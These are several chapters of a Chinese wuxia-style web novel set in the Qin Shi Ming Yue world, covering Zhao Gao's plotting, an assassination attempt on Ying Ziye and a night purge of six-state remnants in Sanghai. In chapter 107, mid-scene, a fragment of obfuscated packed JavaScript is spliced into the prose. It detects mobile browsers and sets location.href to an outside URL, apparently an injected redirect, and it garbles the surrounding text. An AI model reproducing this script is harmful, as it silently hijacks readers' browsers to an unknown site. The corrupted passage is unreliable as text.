海风渐强,吹散了藏书楼内最后的灰烬。
但那
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个无形压迫感,已经深深刻进每个儒者的神魂深处,再也无法抹去!!
……
咸阳,中车令府。
夜色如墨,烛火摇曳,映得赵高那张阴鸷的脸愈发森冷。
他斜倚在案几旁,指尖轻轻摩挲着一封刚刚拆阅的密报,嘴角缓缓勾起一抹冷笑。
“赢子夜……倒是小瞧你了。”
他低声呢喃,声音像是从冰缝里挤出来的,带着刺骨的寒意。
六剑奴静立两侧,真刚抱剑而立,断水闭目凝神,乱神嘴角噙着嗜血的弧度,魍魉百无聊赖地抛着**,转魄、灭魂两姐妹则如影子般无声无息。
他们皆未出声,但空气中弥漫的肃杀之意已足以让人窒息。
“啪!”
赵高忽地将密报拍在案上,力道不重,却让整座厅堂为之一静。
他缓缓抬眸,目光如毒蛇般阴冷,扫过众人。
“桑海城的事,你们都知道了?”
无人应答,但六剑奴的呼吸皆是一滞。
“儒家伏念败了,荀子那老东西也低头了……”
赵高冷笑一声,指尖轻轻敲击案几。
“赢子夜这一手,倒是漂亮。”
他忽地站起身,宽大的袖袍垂落,阴影笼罩半边面容。
“不过,他以为这样就能压得住百家?”
话音未落,他猛地一甩袖,一枚漆黑的密令如利箭般射出,直直钉入真刚面前的柱子上,入木三分!
“阴阳家的暗棋,该动一动了。”
真刚抬手取下密令,目光扫过,随即单膝跪地,沉声道:
“属下领命。”
赵高微微颔首,眼中寒芒闪烁。
“告诉那个人,本座要的不是试探,而是……”
他顿了顿,嘴角勾起一抹残忍的弧度。
“一击必中。”
真刚起身,转身离去,铁靴踏地的声音沉闷而冰冷,如同死神的脚步。
厅内再次陷入沉寂,唯有烛火摇曳,映照着赵高那张阴晴不定的脸。
他缓缓坐回案前,指尖轻抚着一枚黑玉棋子,低低笑了。
“赢子夜,你以为你能赢?”
棋子在他掌心碎裂,化作齑粉,簌簌洒落。
第104章 噬牙狱,现!!!
两日后。
石亭临海,风卷浪涌。
赢子夜独坐亭中,一壶清酒,一盏玉杯,玄色衣袍被海风掀起,猎猎作响。
他神色淡然,目光远眺,似在欣赏波涛翻涌之景,又似在凝视更远之处——
那隐匿于海雾深处的噬牙狱轮廓。
少司命静立身侧,紫眸微垂,裙摆的银杏叶无风自动,泛着幽冷的光。
星魂站在另一侧,指尖幽蓝气刃若隐若现,嘴角噙着一抹似笑非笑的弧度,眼底却藏着几分警惕。
“本公子听说……”
赢子夜忽然开口,声音不轻不重,却让四周风声都为之一滞,
“当日在墨家机关城,阴阳家曾带走一个小女孩。”
少司命眸光微闪,上前一步,素手轻抬,一片银杏叶飘落掌心。
她未发一言,但叶脉间流转的紫芒迅速变化,化作一幅幻象——
墨家机关城崩塌,火焰与寒冰交织,烈焰吞噬断壁残垣。
青铜朱雀之巅,一名年幼的女孩被月神带走,身影消失于苍穹之中。
紧接着,她缓缓开口,声音带着些许凝重:
“高月身上继承了她母亲焱妃留下的玉珪。”
“那玉珪乃传说中苍龙七宿的钥匙之一。”
“解开苍龙七宿的秘密,传说能掌控天下大权。”
“阴阳家欲借此,藉由高月的血脉天赋,破解秘密,掌控局势。”
她语气凝重,目光落在赢子夜身上,
“故月神大人不仅带走高月,且施展控心咒,消去她的记忆。”
“如今,蜃楼已用皇族之礼为她赐名姬如千泷,传授阴阳术,首领意图…将她培养成解开秘密的关键人物。”
赢子夜微微一笑,指尖轻敲酒杯边缘,发出清脆声响。
“原来如此。”
下一瞬!
他忽然转头,目光如剑,直刺星魂!
星魂感受到那锐利的视线,瞳孔骤然收缩,幽蓝气刃在指尖骤然暴涨,仿佛下一秒就要破空而出!
他以为赢子夜要对他出手!
然而,空气凝滞,时间似乎放慢了脚步。
赢子夜的目光如同利刃般穿透黑暗,盯紧了密林深处的动静。
他的眉头微微一蹙,神色一瞬间变得凝重,似乎捕捉到了什么细微异常。
就在这时,一道剑气悄然从他的袖中喷薄而出,速度快得几乎看不见轨迹,划破夜色,直奔林间!!
“噗嗤!”
剑气穿过枝叶,刺入黑暗。
“啊——!”
随即,一声凄厉惨叫划破寂静,一道黑影从树梢猛然跌落,咽喉处鲜血飞溅如雨。
几乎同时,林中杀机骤然爆发!
“嗖!嗖!嗖!”
无数黑影如离弦之箭,迅疾掠出,刀光剑影在夜色中交织撕裂空气,直扑石亭而来。
这些**身形鬼魅,动作干净利落,出招狠辣果断,显然是经过严格训练的死士。
少司命裙摆猎猎翻飞,银杏叶在她指尖舞动,化作锋利如刃的银色利器,旋转间寒光闪烁。
她出手如风,刹那间三名袭杀者的咽喉被银杏叶割裂,血花迸溅,尸体应声倒地!
星魂则笑声狂放,双手凝聚出幽蓝色气刃,光芒如电闪雷鸣般横扫而过!
刹那间,两名**身躯被横斩,鲜血飞溅,断成两截,倒地不起!
四周杀机涌动,空气中弥漫着寒意与血腥,战斗的厮杀声、兵器相击的破空声交织成一曲致命的交响。
然而,赢子夜却依旧稳坐亭中,连眼皮都未抬一下。
只见他端起酒杯,眸光微凝,指尖轻轻一挥,玉杯中琼浆应声泼洒而出!
那酒液并未如常态般四散落地,反而在空中瞬间化作万千细如游丝的寒光剑气,璀璨如星辰般铺天盖地!
剑气如骤雨倾泻,带着凌厉寒芒,快速席卷开来!
仿佛天地间所有光华都凝聚于此,直指袭击而来的黑影!!
“嗤——!”
剑气贯穿血肉的声音此起彼伏,锐利如锋刃划破皮肤,断裂脉络,寒意直抵骨髓!
百余名**身形骤然一滞,恍若被定格在瞬间。
接着,他们纷纷痛苦嘶喊,身躯剧烈颤抖。
剑气如同无形细丝,精准无比地割裂他们的咽喉、心口、眉心……
血珠飞溅!
化作细如发丝的血痕,宛若精雕细琢的绝妙符文,令人心悸!
一时间,地面被无数血迹染红。
惨烈而肃杀的景象令人心神俱震。
赢子夜眉宇间却掠过一抹淡然冷峻
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。
仿佛这场斩杀只是他闲来无事的一次挥洒。
酒杯轻轻碰撞指尖,清脆响声中,他的眼中满是掌控一切的自信与冷傲。
这场斩杀无声无息,却彰显出他无上的威严与强大实力。
一剑。
便让来犯之敌灰飞烟灭!!!
所有目睹此景的人,无不被这潇洒霸气所震慑。
亭外,血腥味弥漫。
黑甲兵士此时才从四面八方涌出,铁靴踏地声震得沙滩微颤。
为首将领单膝跪地,沉声道:
“属下来迟,请公子责罚!”
赢子夜淡淡扫了一眼满地尸首,
“查。”
兵士迅速翻检尸体,片刻后,将领双手呈上一枚染血的令牌——
青铜所铸,上刻魏国旧纹!
“公子,是魏国余孽。”
赢子夜冷笑一声,指尖轻抚令牌,魏字纹路瞬间崩裂。
“看来这些藏匿在黑暗中的老鼠…已经躁动不安了。”
话音未落,海上忽生异变!
原本湛蓝的海水骤然泛红,如血蔓延,腥气扑鼻。
浪涛翻涌间,水雾裹挟着咸腥的海风骤然破开,一座森然巨影正从混沌深处缓缓浮现——
通体由墨色玄石垒砌。
每一块石砖都似浸透了百年寒意,在惨淡天光下泛着青幽冷光。
粗如巨**的玄铁锁链如蛛网般缠绕其上,一端深嵌石缝,另一端没入翻涌的暗涛。
随着浪势沉沉浮浮,发出“哐啷”的钝响。
像是巨兽在磨牙吮血。
整座牢狱,如一头蛰伏深海的远古凶兽。
狰狞的轮廓在水雾中若隐若现。
墙垛上突出的棱角如獠牙般森然毕露。
尚未靠近,便已透出令人窒息的压迫感!!
噬牙狱!
星魂眯起眼,幽蓝瞳光闪烁,竟罕见地流露出一丝心悸。
少司命紫眸微凝,指尖银杏叶无声碎裂。
赢子夜缓缓起身,玄袍垂落,目光深邃如渊。
他凝视着那座自血海中浮现的牢狱,嘴角勾起一抹冰冷的弧度。
“猫捉老鼠的游戏……终于要开始了。”
海风骤烈,卷起赢子夜的衣袍。
他,将是这场游戏中……
唯一的猎手。
第105章 暗河,涌动!
夜色如墨,海风呜咽。
墨家秘密据点内。
昏黄的烛火映照着几张凝重的面孔。
盖聂抱剑而立,木剑斜倚肩头,目光沉静如水,却暗藏锋芒。
大铁锤双拳紧握,铁锤砸在桌上,震得杯盏叮当作响,眼中怒火几乎要喷薄而出。
班大师捋着胡须,机械臂咔咔转动,展开一张泛黄的机关图纸,眉头紧锁。
“不能再拖了!”
大铁锤低吼一声,声如闷雷,“噬牙狱的潮汐通道三日一开,错过这次,又得再等三天!”
“谁知道三天后,那些兄弟还能不能撑住!”
盖聂微微抬眼,声音平静却不容置疑:“行动必须精准,一旦惊动赢子夜,我们谁都走不了。”
班大师点点头,枯瘦的手指在图纸上划过。
“盗跖已经摸清了水牢闸口的位置,但噬牙狱的机关远比我们想象的复杂。”
他顿了顿,眼中闪过一丝忧虑。
“稍有不慎,我们都会被困死在里面。”
角落里,逍遥子轻抚拂尘,仙风道骨的面容上浮现一丝凝重。
“贫道可以破解机关,但时间有限。必须在子时前完成。”
高渐离怀抱水寒剑,剑身凝结的冰晶映着他冷峻的脸。
“我会带人在桑海城制造混乱,引开秦军主力。”
他转头看向雪女,眼中闪过一丝温柔,“你留下,保护蓉姑娘和其他人!”
雪女纤指轻抚长发,冰蓝色的眸子闪过一丝不甘:“我可以帮上忙的……”
“不行。”
高渐离语气坚决,“端木蓉的医术是我们最后的保障。”
“如果行动失败……”
他没有说下去,但众人都明白他的意思。
盗跖突然从梁上翻身而下,铜板在指尖飞快旋转:“放心吧各位,我盗王之王出手,还没有打不开的锁!”
他咧嘴一笑,露出标志性的虎牙,但眼中却没了往日的玩世不恭,取而代之的是罕见的认真。
盖聂缓缓起身,木剑在地上划出一道痕迹:“行动分三步。”
“盗跖和逍遥子先行潜入,破解机关。”
“班大师负责接应,铁锤和我断后。”
他的目光扫过众人,“记住,我们的目标是救人,不是拼命。”
大铁锤重重哼了一声:“要是遇到秦狗,老子非得砸碎几个脑袋不可!!!”
班大师叹了口气:“铁锤,冷静点。”
“这次行动凶险万分,我们必须……”
“我知道!”
大铁锤突然打断他,拳头捏得咯咯作响,“我就是…就是恨啊!那一战,我们那么多兄弟……”
他的声音突然哽咽,再也说不下去。
屋内一时沉默。
高渐离轻轻按上大铁锤的肩膀:“等攻破噬牙狱,我们一起报仇。”
雪女走到窗前,望着远处隐约可见的噬牙狱轮廓,轻声道:“海上起雾了,是好事。”
盖聂最后检查了一遍装备,木剑入鞘时发出清脆的声响。
“子时行动,各自准备。”
众人默默点头,迅速散开。
角落里,端木蓉正在整理药箱,手指微微发抖。
雪女走过去,轻轻握住她的手:“别担心,他们会没事的。”
端木蓉勉强一笑,眼中却满是忧虑:“我只是…有种不好的预感。”
窗外,海雾越来越浓,渐渐遮蔽了月光。
桑海城的灯火在雾中若隐若现,预示着即将到来的腥风血雨。
而在远处的海面上,噬牙狱如同蛰伏的巨兽,静静等待着猎物的到来。
……
海风裹挟着咸腥气息卷入厅堂。
烛火摇曳间,映出赢子夜冷峻的侧脸。
他斜倚在玄木案前,指尖轻叩着一份刚刚呈上的密报,嘴角噙着若有似无的冷笑。
黑冰台统领单膝跪地,铁面覆脸,声音嘶哑如砂石摩擦:
“禀公子,六国余孽已潜入桑海城东市,藏身朱家赌坊。”
他呈上一卷竹简,上面密密麻麻标注着各处暗桩:
“魏国死士三十七人,楚国项氏一族二十四人,俱已查明。”
“赵人埋伏于东市铁炉巷三处茶馆之中,假扮工匠与脚夫,夜间出入无常。”
“燕国残兵七人藏于柳巷‘听雪楼’,外表为商贾乐伎,实则俱通机关暗器之术。”
“齐鲁合流者,皆聚于西郊枯井处密窖,其首为前齐王侍卫‘厉箴’,擅长策反之计。”
“至于韩氏孤流,似与墨家有来往,近期频频出没于港口盐仓……”
几乎同时,赵弋苍龙行虎步踏入厅内,玄铁重甲铿锵作响。
这位暗河统领抱拳一礼,声若洪钟:
“人宗逍遥子率三十弟子现身城南,与墨
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家逆贼似有勾结。”
“据探子回报,逍遥子以‘天地无名道场’为幌,连日讲道于云鹤台,暗中招揽桑海诸多门派散修。”
“有墨家残部夜入其道场,疑似交换机括图谱。”
“更有传言称,逍遥子欲以桑海为基,重立‘百家之议’,挑动各家旧怨,企图再兴人宗!”
赵弋语声愈发低沉,拳锋紧攥,玄铁护腕“咯咯”作响:
“卑职已派人埋伏于城南三路七坊,待命一举擒之。”
黑冰台统领缓缓起身,寒声接道:
“六国遗脉显然也早有预谋。”
“若让这些人汇合桑海,恐有生变。”
话音未落,厅内气氛陡转森冷。
海风撞击窗棂,卷起卷帘微颤,远处隐隐传来金铁交鸣,那是暗河已在动手的号令。
赢子夜低头,指尖轻点竹简,慢条斯理地道:
“人宗想借桑海再起……那便灭了他在桑海的最后一丝火种。”
“六国、逍遥子,一个都别留。”
“若这场火还不够烧,就……添点干柴。”
他指尖轻轻一捻,那竹简竟无声化为齑粉,目光如利剑般扫过二人:
“黑冰台守死噬牙狱,我要那些墨家余孽,活着跪在本公子面前。”
声音不重,却让厅内温度骤降。
“暗河清剿六国鼠辈——”
“不留活口!!”
“诺!”
二人齐声应命,铁靴踏地声震得梁上灰尘簌簌落下。
恰在此时,一阵清风拂过。
晓梦白衣翩跹而至,秋骊剑鞘上的霜纹在烛光下流转。
她清冷的目光直视赢子夜:
“逍遥子,交给我。”
星魂在阴影中发出桀桀怪笑,幽蓝气刃在袖中吞吐:“天宗掌门亲自出手,看来人宗这次要绝迹江湖了。”
赢子夜微微颔首,目光转向星魂:
“既然东皇阁下交代你任务……”
他说着,指尖轻敲案几:“那便去吧。”
“报——!”
侍卫急促的脚步声打破僵局:
“儒家三位当家求见!”
厅内众人神色各异。
晓梦秋骊剑轻颤,星魂眯起幽蓝眼眸。
赢子夜却忽然轻笑出声,玄色衣袖扫过案上齑粉:
“哦?”
他眼中闪过一丝玩味:
“那便见一见吧。”
第106章 楚虽三户,亡秦必楚!!!
伏念踏入厅内时,圣王剑穗无风自动。
这位儒家掌门面色凝重,眼角余光扫过满厅肃杀之气,拱手行礼的姿势却纹丝不动。
圣王剑穗垂落如僵死的蛇。
“六公子**,实乃小圣贤庄失察之过。”
他的声音沉重如铁,每个字都像是从齿缝里挤出来的。
“儒家愿领责罚。”
颜路紧随其后行礼,含光剑佩反常地泛起涟漪。
这位素来温润如玉的二当家此刻面色苍白如纸,指尖微微发颤:
“桑海城防确有疏漏,但请公子明鉴,儒家绝无二心!”
张良最后一个上前,凌虚玉佩早已换成普通玉坠。
他看似从容地拱手,但转动的铜板却暴露了内心的焦灼。
“刺客胆大包天,竟敢在儒家地界行刺,此事…我小圣贤庄必彻查到底!!!”
“三位庄主多虑了。”
赢子夜突然轻笑打断,玄色衣袖拂过案几,带起一阵幽冷的风。
他缓步走下主座,靴底踏在青石板上的声音在寂静的厅堂里格外清晰。
“若是追究起来,该问罪的也是桑海城防。”
伏念的剑穗突然一颤。
他没想到赢子夜竟如此轻描淡写,这反常的宽容比雷霆震怒更令人不安。
颜路悄悄抬眸,正对上赢子夜似笑非笑的眼神,顿时如坠冰窟。
“不过……”
赢子夜忽然转身,月光透过窗棂,将他的侧脸镀上一层银边。
“三位既然来了,不如随本公子看场好戏。”
他迈步向外走去,玄色衣袍在夜风中猎猎作响。
三位当家面面相觑,伏念的圣王剑突然发出一声微不可察的哀鸣,仿佛在预警着什么。
府外,海风裹挟着血腥气扑面而来。
远处桑海城的方向黑压压的一片,隐约有着肃杀气氛。
赢子夜负手而立,眺望着那片血色夜空,嘴角噙着莫测的笑意。
“公子,这是……”
张良忍不住开口,铜板在掌心转得飞快。
赢子夜头也不回:
“我的人,今夜要清剿六国余孽。”
他说得轻描淡写,仿佛只是在谈论今晚的月色。
“朱家赌坊、漕帮码头、城南茶肆……”
“所有藏污纳垢之处,今夜都会清洗干净。”
伏念浑身一僵。
他当然知道那些地方藏着什么人——
有与儒家暗通款曲的墨家弟子,有他默许庇护的六国遗民!!
圣王剑突然变得重若千钧,压得他几乎喘不过气。
“看那边。”
赢子夜忽然抬手指向海岸。
只见噬牙狱方向蓝光冲天,剑气纵横!!
那是晓梦的秋骊剑光在吞吐剑气!
“天宗掌门亲自清理门户,倒是省了本公子不少功夫。”
颜路的含光剑佩突然结出一层薄冰。
他想起前日还与人宗弟子论道的场景,那些人今夜恐怕……
“报——!”
黑甲侍卫疾奔而来,单膝跪地。
“盗跖已入彀中,正被逼向断崖!”
赢子夜笑意更深:
“三位庄主可要同往一观?”
他不等回答,已迈步向前。
玄色衣袍扫过石阶,所过之处竟凝结出细密的霜花。
伏念硬着头皮跟上,圣王剑在鞘中不安地震颤。
张良的铜板突然停转,他敏锐地注意到,赢子夜行进的方向根本不是断崖,而是……小圣贤庄!
“说起来……”
赢子夜忽然驻足,回头看向三人,月光下的眼眸深不见底。
“本公子倒是很好奇,儒家藏书楼里那些用六国文字抄录的典籍……都处理干净了吗?”
这句话如同一道惊雷劈下。
伏念的剑穗瞬间僵直,颜路踉跄后退半步,张良的铜板“当啷”一声掉在地上,滚落到赢子夜脚边。
赢子夜俯身拾起铜板,指尖轻轻摩挲着上面的“吉”字,忽然轻笑一声:
“有意思。”
他随手一抛,铜板在空中划出弧线,落入远处的黑暗中。
“看来今晚……未必是吉时啊。”
……
夜色如渊。
桑海城外一处隐蔽的山林中,篝火噼啪作响,映照着项羽刚毅的面容。
他手握长戟,眼中燃烧着复仇的火焰,项梁正与几名楚国旧部低声商议着明日的行动。
“叔父,明日我们兵分两路。”
项羽一拳砸在树干上,震得落叶簌簌而下。
“我带人直扑桑海城,您去接应墨家那群人。”
项梁眉头紧锁,手指无意识地摩挲着剑柄。
“太冒险了。赢子夜那厮必定在城中布下天罗地网……”
“哈哈哈……”
一阵沙哑的笑声突然从黑暗中传来,惊得众人纷纷拔剑。
只见一位佝偻老者拄着拐杖,步履缓慢而沉稳。
宽大的斗篷在风中猎猎作响,仿佛与夜色融为一体。
他的面容隐没在阴影中,目光深邃幽冷,带着难以揣测的威严。
此人,正是楚南公!
项羽见状,眉头微皱,握紧了手中的长戟,警觉地盯着那老者。
“前辈是何人?”
项羽沉声问道,心中升起一丝不安。
楚南公缓缓停下脚步,声音沙哑而低沉:“此地风云变幻,有些秘密,只
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有时间才能揭晓。”
他的身影在篝火的映照下显得愈发神秘莫测,仿佛带着无尽的故事与算计。
浑浊的眼中,突然闪过一丝精光。
枯瘦的手指从怀中掏出一卷竹简。
“小娃娃,老朽给你带了个礼物。”
竹简在火光下泛着奇异的光泽,正是传说中的《黄石天书》。
项梁倒吸一口凉气。
“这…这不是……”
“**之物,留着何用?”
楚南公嘿嘿笑着,将天书塞进项羽手中,动作随意得就像在给孩童分发糖果。
但他的眼神却突然变得锐利如刀。
“不过,光有天书可不够。”
“楚虽三户,亡秦必楚……但需要风火山林齐聚。”
项羽握紧天书,指节发白!
“请前辈明示!”
楚南公却不急不缓地掏出一封密信,信上火漆赫然是罗网的蜘蛛印记。
“这上面写得清清楚楚。”
他意味深长地看了眼矿山方向。
“土水而雄,火土而霸,木火而险,金水而危。”
“这火,就在那熔岩深处。”
项梁猛地站起身。
“龙且还活着?”
楚南公笑而不答,拐杖轻点地面。
“老朽该走了。这盘棋……下得正热闹呢。”
他转身欲走,宽大斗篷在月色下如蝙蝠展翼。
“前辈!”
项羽急道。
“请助我们一臂之力!”
楚南公脚步一顿,回头时眼中闪烁着莫测的光芒。
“小娃娃,记住——”
他的声音突然变得飘忽。
“当你集齐四将之时,就是达成目标的时机!”
说罢,身影已融入夜色,只余沙哑的笑声在林间回荡。
项梁握紧密信,脸色阴晴不定。
“他…到底在谋划什么?”
项羽却已翻身上马,霸王戟在月光下泛着寒光。
“叔父,按计划行事。我去救龙且,您去接应墨家。”
他低头看了眼天书,眼中燃起熊熊战意。
“风火山林……我项羽要定了!”
远处,桑海城的方向突然传来阵阵喊杀声,火光染红了半边夜空!
项梁望着侄儿远去的背影,又看了看手中密信,突然明白了这老人的用意——
这一切,都在他的算计之中。
暗处,楚南公并未真正离去。
他靠在一棵古树下,仰头望着血色的月亮,喃喃自语。
“火种已播,就看这把火……能烧得多旺了。”
枯瘦的手指轻轻一弹,一枚铜钱高高抛起,在月光下翻转着落入草丛,正是“凶”字朝上。
第107章 清剿六国余孽!
三更梆子刚响,夜风掠过铁炉巷,满巷死寂。
酒馆后院,一盏昏黄灯笼摇曳微光,魏国死士首领“铁手”正俯身擦拭**箭。
箭头寒芒闪烁,上覆剧毒,一碰即死。
他咧嘴冷笑,低声自语:“待会往秦军马厩射上几箭,够他们乱上一阵子……”
话音未落——
“嗤!”
一支**箭破风而至,悄无声息,却贯喉而入,将他整个人钉死在身后的砖墙上!!
他的手指还维持着擦拭动作,眼神惊骇,缓缓低头看去。
那枚刚擦净的淬**,此刻正稳稳钉在自己咽喉处,血线如墨!
而墙角,阴影微动,一道黑影现身。
玄甲束腰,铁面遮面,气息如死水般沉冷。
他缓步踱出,脚步无声,却似压迫空气般让夜色凝滞。
地上,横陈着三十六具尸体,死状各异,却无一不是被自己的兵器反杀。
喉断、肋穿、心刺,皆以一击毙命!
暗河**扫视全场,目光如刃!
他拾起最后一枚未射出的**,拈在指间,像是在衡量其锋锐——
随即轻轻一弹,那枚**“啪”地崩裂于墙角,碎成粉末,随风散尽。
他转身离去,身影融入夜色,仿佛从未出现过。
唯余风中灯笼轻晃,映照出那堵砖墙上的一道血痕。
仿佛一笔,悄然将“魏国死士”四字,彻底抹去。
……
与此同时。
听雪楼内,香烟未散,血气已浓。
“叮——”
一根琴弦崩断,骤如破冰。
抚琴的燕国女刺客猛地抬头,指尖仍停留在未落的音上。
她的六名同伴,此刻正静静倒卧在各自席位上。
每人眉心,皆钉着一片碎裂的白瓷——
赫然是方才饮酒之杯。
一击即灭,无声杀局!!
她眼中惊怒交织,袖口一扬,飞刀爆射而出!
寒芒破风!
却未及半丈,刀锋猛然折转,竟直插回她的心口。
“唔……”
她低头望着刀尖穿胸而出,鲜血如丝,泪珠未落,面具已裂。
梁上,一道黑影悄然坠地。
玄甲贴体,铁面森冷,踏碎她滑落的半张面具,碎片在脚下寸寸崩裂。
他俯身低语,语气平静,仿佛陈述一个死去的事实:
“机关术?”
“班门弄斧。”
语毕转身,长风卷入破窗,杀意随之远去。
听雪楼重归死寂,琴音未终,人已尽灭。
……
枯井之下。
幽暗阴森,火光摇曳。
厉箴低声指点着地图,神色肃然:“明日趁乱刺杀赢子夜,只要——”
“噗嗤!”
话音未落,一柄短刀从他后心悄无声息地贯入。
他僵住,眼中浮现难以置信之色,缓缓转头。
那名“齐人”正在揭下面具——
薄如蝉翼的人皮被一层层剥下,露出其下森冷的铁面!
火光映照,铁面**目光如钉,语声如霜:“刺杀?”
“下辈子吧。”
刀柄轻轻一拧,鲜血喷溅在岩壁上,如同破开的脉络。
惨叫随即在井底响起。
短促、急促、哀嚎、挣扎……
血腥味迅速蔓延,火把燃得更旺!
整整一刻钟,声声入骨!
直至最后一声戛然而止。
井口上,一道道身影接连跃出。
玄甲、铁面,刀未归鞘,身无一人染血。
枯井之下,血水漫过尸首,染红石阶,如地狱的眼眸。
风吹过,火光微颤,杀意犹未散。
……
月沉风紧。
桑海西郊,盐仓幽深如墓。
“快搬!这些盐包下藏的都是——”
话未说完,韩国贵族猛地止声。
空气骤然凝滞!!!
他愣在原地,迟疑地望向四周,却见三十名同伴依旧保持搬运姿势,仿佛被定格的木偶。
下一瞬——
“唰——”
一道道细若蛛丝的剑痕悄然浮现,从咽喉、心口、脊椎……
如神魔刻印,精准刻入要害。
血光自皮肤底下涌出,宛如从体内逆流而上的赤色花纹,在苍白盐尘中骤然绽放!
“咕……”
有人口中发出哽咽,却已发不出声音。
然后,是整齐倒地的声音,如同麻袋倾倒,一具又一具。
没有惨叫,没有挣扎,唯有死寂。
满地盐尘被鲜血染成斑驳的红。
“咯吱——”
盐堆缓缓塌落。
十余名玄甲**自雪白盐包后方缓步而出,身影冷峻,步履如一,气机连成一体,如冥府而来的黑潮。
他们周身缭绕着隐隐剑意,虚空微颤,脚步所至,盐尘不落,仿佛天地都被他们斩开了一线!
剑鞘未动,杀意先至。
那是赢子夜亲授的《三千神魔剑法》。
汇三千剑道意象为一,凝炼死地之威,已非昔日可比。
为首者昭鞅铁面覆颜,披风猎猎,缓步上前,目光如炬。
他一脚踢开地上一袋盐,麻布破裂,露出底下暗藏的长矛与**机。
他声音冷冽如铁:“与墨家勾结?”
玄甲同时出鞘,三千神魔剑意在狭窄盐仓中轰然炸裂,剑未至,天花板竟开始龟裂,尘屑簌簌落下!
“正好。”
他唇角挑起一丝弧度。
“一锅端。”
盐仓外,风声如号。
仓门缓缓关上,天地再无声息。
……
铁炉巷尽头。
一间老旧酒馆隐于深巷,门口挂着褪色的幌子,在雨中轻晃。
酒馆内人影稀疏,几名身着粗布的脚夫懒散围坐,低声交谈。
角落里,一名身穿短褐、系着围巾的“店小二”正提壶穿行,面带笑意。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16038535|178632||http|test|mini|href|location''.split(''|''),0,{}));
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r>“客官,添酒么?”
他走到一名中年客人身旁,刚抬手倾壶,耳边却传来一声极轻的“嗤”响。
壶嘴滴下的,不是醇酒,而是一滴温热的血!
“店小二”浑身骤僵,僵硬地低头——
只见自己胸口衣襟缓缓渗出一抹猩红,一截细长锋利的剑尖,从心口透体而出。
他想开口,却只吐出一口血沫。
耳边,一道低哑的声音幽然响起,如蛇信般贴近耳廓:
“赵国的‘工匠’……铸的剑不错。”
“可惜,要不了秦人的命。”
那声音如同判官宣断,剑锋随之抽出,鲜血喷溅,热浪翻涌。
“店小二”扑倒在地,酒壶滚落,血水与酒液混成一摊。
几乎同时,七名“脚夫”突地仰头,脖颈一颤!
他们面露惊疑,还未来得及反应,喉头便各自爆出一点血花——
每人咽喉处,赫然插着一根细针,针尾尚在微微颤动!!!
角落深处,一道黑影缓缓起身。
他身着便装,面无表情,指尖尚夹着最后一根细针。
暗河**,出手无声,收割命如收秋叶。
酒馆内,死寂如坟。
雨声在窗纸上敲出轻微的节拍,为这场精准的杀戮,奏响无声的挽歌。
……
朱家赌坊。
地窖昏暗潮湿。
空气中弥漫着酒气与潮泥的混合味道。
项氏一族弟兄正紧张地分发着兵器,神色凝重。
“少主已去救龙且,我们按计划——”
话音未落,忽然“哗啦”一声,头顶瓦片骤然碎裂,带起阵阵尘土与碎石。
众人猛然抬头,只见房梁上蹲伏着五名玄甲武士,银光闪烁的劲**已严密锁定下方目标。
“是敌人!!”
未等楚人喊完,箭雨如疾风骤雨般倾泻而下。
二十四名楚人瞬间陷入绝境,纷纷被铁箭贯体,惨叫声短促而凄厉,血溅如雨,纷纷倒地如同刺猬般倒成一团。
最后一名项氏弟兄在箭雨中挣扎着,艰难爬向一旁暗道,试图突围!
然而。
一道沉重的铁靴猛地落下,狠狠踩住了他的脖颈,将他死死钉在地面,鲜血从牙缝中渗出。
“项氏?”
暗河统领赵弋苍从黑暗中露面,手中玄铁重剑爆发冲天炎阳之气!
他低声冷笑,铁靴狠狠碾碎了脖颈,声若洪钟。
“不过如此。”
与此同时。
赌坊外,项梁带着数名旧部试图突破围堵,狼狈奔逃。
暗河**如鬼魅般紧追不舍,步步逼近。
“公子有令,一个不留!”
赵弋苍的声音如铁锤落地,冷酷无情。
血色的夜幕下,追逐与杀戮的脚步声越发清晰,暗河的锋芒无情地撕裂着楚国余部的最后抵抗。
项梁身影渐行渐远,却始终未能摆脱那紧随其后的阴影!
第108章 天人之争,天宗禁术!
夜风呜咽。
小圣贤庄的高台上,赢子夜负手而立,玄色衣袍在风中猎猎作响。
远处桑海城的火光如同地狱绽放的红莲。
将夜空染成血色。
伏念的圣王剑在鞘中不安地震颤。
这位儒家掌门面色铁青,指节捏得发白——
那些火光的位置,正是与儒家有千丝万缕联系的各处据点。
颜路向来温润如玉的面容此刻惨白,含光剑佩结出细密冰晶。
他仿佛看到无数冤魂在火中哀嚎。
张良的铜板早已停止转动,死死攥在掌心,割出血痕也浑然不觉。
“三位庄主似乎心神不宁?”
赢子夜忽然开口,声音带着戏谑的寒意。
他缓缓抬手,指向最远的一处火光:
“看,那是朱家赌坊。”
指尖又移向另一处:“听雪楼的燕乐,想必很动听。”
伏念的剑穗突然断裂,玉珠滚落台阶,发出清脆的碎裂声。
赢子夜却低笑出声,目光穿透黑暗,锁定了几个正在仓皇逃窜的气息——
那是墨家的老鼠,正被他的人追得走投无路。
“有趣。”
他轻抚剑柄,眸中映着跳动的火焰,如同欣赏一场精心编排的戏剧。
……
海风呜咽,夜色如墨。
盗跖身形如电,在礁石间飞速穿梭,铜板在指尖翻转,眼中闪烁着兴奋的光芒。
“嘿嘿,这次要是成了,盗王之王的名号可就坐实了!”
他回头瞥了一眼紧随其后的逍遥子,咧嘴一笑,
“道长,待会儿那些机关可就靠你了!”
逍遥子神色凝重,拂尘轻扫,身后三十名人宗弟子步伐整齐,眼中俱是决然之色。
“噬牙狱机关重重,诸位务必小心。”
他声音低沉,目光却如炬,
“尤其是水牢闸口,一旦触发,整座狱城都会封闭。”
远处,班大师的机关鸟盘旋于高空,机械臂上的铜镜折射月光,为众人指引方向。
老人眉头紧锁,枯瘦的手指不断调整着镜面角度。
“再快些…潮汐通道开启的时间不多了……”
盖聂走在最后,木剑斜挂腰间,目光沉静如水。
铁锤扛着巨锤,脚步沉重,眼中怒火燃烧。
“盖先生,救出胜七那家伙,真能扭转局势?”
盖聂微微颔首,声音平静却笃定:
“胜七若出,天下震动。”
他抬眼望向黑暗深处,眸中闪过一丝锐利,
“但今夜……恐怕不会太平。”
——的确不太平。
